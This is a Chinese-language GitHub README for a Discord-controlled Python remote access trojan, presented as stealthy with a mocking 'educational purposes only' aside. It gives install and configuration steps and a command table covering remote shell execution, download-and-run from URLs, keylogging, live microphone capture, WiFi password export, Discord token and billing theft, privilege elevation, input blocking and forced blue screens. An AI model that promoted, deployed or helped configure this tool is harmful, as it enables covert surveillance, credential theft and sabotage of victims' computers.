truelockmc/Discord-RAT
GitHub: truelockmc/Discord-RAT
一个基于Discord的Python远程管理工具,允许用户通过聊天命令远程控制计算机。
Stars: 31 | Forks: 8
# Discord-RAT
一款基于 Discord 的远程管理工具。易于使用、隐蔽且功能强大。
这个 Python 程序本质上是在其运行的计算机上托管一个 Discord 机器人,允许配置它的用户通过 Discord 命令远程控制计算机。它支持多种功能,如执行命令、截取屏幕截图、管理文件等。
它可以同时处理多个设备。
## 当然,而且仅供教育目的 < 3 呵呵
## 功能
- **📶 Ping:** 检查机器人的延迟。
- **📸 截图:** 截取屏幕截图并通过 Discord 发送。
- **💻 执行命令:** 运行任何 CMD 和 PowerShell 命令。
- **📂 文件管理:** 上传和下载文件。
- **🌐 远程执行:** 从 URL 下载并执行任何程序。
- **🔔 通知:** 发送系统通知。
- **🖥️ 系统控制:** 重启或关闭计算机。
- **🔑 管理员权限:** 提升机器人以管理员权限运行。
- **📡 WiFi 凭据:** 导出并发送 WiFi 配置文件和密码。
- **📝 系统信息:** 检索系统信息。
- **⚙️ 任务管理:** 列出并终止进程。
- **🧹 清除消息:** 清除频道中的机器人消息和命令。
- **🎙️ 实时麦克风流:** 将计算机的麦克风实时流式传输到 Discord 语音频道。
- **⌨️ 键盘记录器:** 记录键盘按键并将其发送到 Discord 频道。
- **🗣️ 文字转语音:** 在计算机上播放文本转语音消息。
- **⛔ 拒绝服务:** 阻止用户输入(键盘和鼠标)或使屏幕变黑并隐藏光标。
- **💥 崩溃/蓝屏:** 通过 fork 炸弹或蓝屏死机使计算机崩溃。
- **🎵 恶作剧:** 播放一个只能通过电源按钮或 `Ctrl + Alt + Delete` 退出的全屏恶作剧。
- **🔊 音量控制:** 更改计算机音量或静音/取消静音。
- **🕵️ Token 抓取器:** 抓取 Discord token、账单和联系信息。
## 要求
- Python 3.6+
- Discord.py
- 附加的 Python 包(列在 `requirements.txt` 中)
## 安装
1. 克隆仓库:
git clone https://github.com/truelockmc/Discord-RAT.git
cd Discord-RAT
2. 安装所需的包:
pip install -r requirements.txt
3. 设置你的 `.env` 文件(参见下方的配置)
## 配置
所有凭据都存储在 `.env` 文件中
1. 复制示例文件:
cp .env.example .env
2. 打开 `.env` 并填入你的值:
BOT_TOKEN=
GUILD_ID=
AUTHORIZED_USERS=
VOICE_CHANNEL_ID=
### 在哪里可以找到每个值
| 配置项 | 获取方式 |
|---|---|
| `BOT_TOKEN` | [Discord 开发者门户](https://discord.com/developers/applications) → 你的应用 → **机器人** → **Token** |
| `GUILD_ID` | 右键单击机器人应在其上运行的 Discord 服务器 → **复制服务器 ID** |
| `AUTHORIZED_USERS` | 右键单击你的个人资料 → **复制用户 ID**(多个 ID 用逗号分隔) |
| `VOICE_CHANNEL_ID` | 右键单击机器人应使用的语音频道 → **复制频道 ID** |
## 运行机器人
要运行机器人,请执行该脚本:
```
python main.py
```
## 命令
| 命令 | 描述 |
|---|---|
| `!ping` | 显示机器人的延迟。 |
| `!screenshot` | 截取屏幕截图并发送。 |
| `!cmd ` | 执行一个 CMD 命令。 |
| `!powershell ` | 执行一个 PowerShell 命令。 |
| `!file_upload ` | 将文件上传到指定路径。 |
| `!file_download ` | 从指定路径下载文件或文件夹。(发送到 Discord) |
| `!execute ` | 从 URL 下载一个程序并执行它。 |
| `!notify ` | 发送一个通知。 |
| `!restart` | 重启电脑。 |
| `!shutdown` | 关闭电脑。 |
| `!admin` | 请求管理员权限。 |
| `!stop` | 停止机器人。 |
| `!wifi` | 显示 WiFi 配置文件和密码。 |
| `!system_info` | 显示系统信息。 |
| `!taskkill ` | 终止指定 PID 的进程。 |
| `!purge` | 删除机器人消息和命令。 |
| `!help` | 显示可用命令列表。 |
| `!tts ` | 播放自定义文本转语音消息。 |
| `!mic_stream_start` | 开始将麦克风实时流式传输到语音频道。 |
| `!mic_stream_stop` | 如果已激活,则停止麦克风流。 |
| `!keylog ` | 激活或停用键盘记录。 |
| `!input ` | 完全阻止或取消阻止用户输入,键盘和鼠标。 |
| `!rickroll` | 播放一个无法逃脱的恶作剧。 |
| `!bsod` | 触发蓝屏死机。 |
| `!volume` | 显示音量信息和可用命令。 |
| `!volume ` | 将设备静音或取消静音。 |
| `!volume ` | 将音量设置为特定百分比。 |
| `!blackscreen ` | 使屏幕完全变黑并让指针消失。 |
| `!grab_discord` | 抓取 Discord Token、账单和联系信息。 |
### 使用示例
1. **运行一个 CMD 命令:**
!cmd dir
2. **截取屏幕截图:**
!screenshot
3. **重启电脑:**
!restart
## 安全性
- 通过更新 `AUTHORIZED_USERS` 列表,确保只有可信用户可以访问该机器人。
- 避免公开分享机器人 token。
## 许可证
本项目根据 GNU Affero 通用公共许可证 v3.0 (AGPL-3.0) 获得许可
## 联系 / 帮助
此项目已被存档,我将不再为你提供使用支持。
标签:逆向工具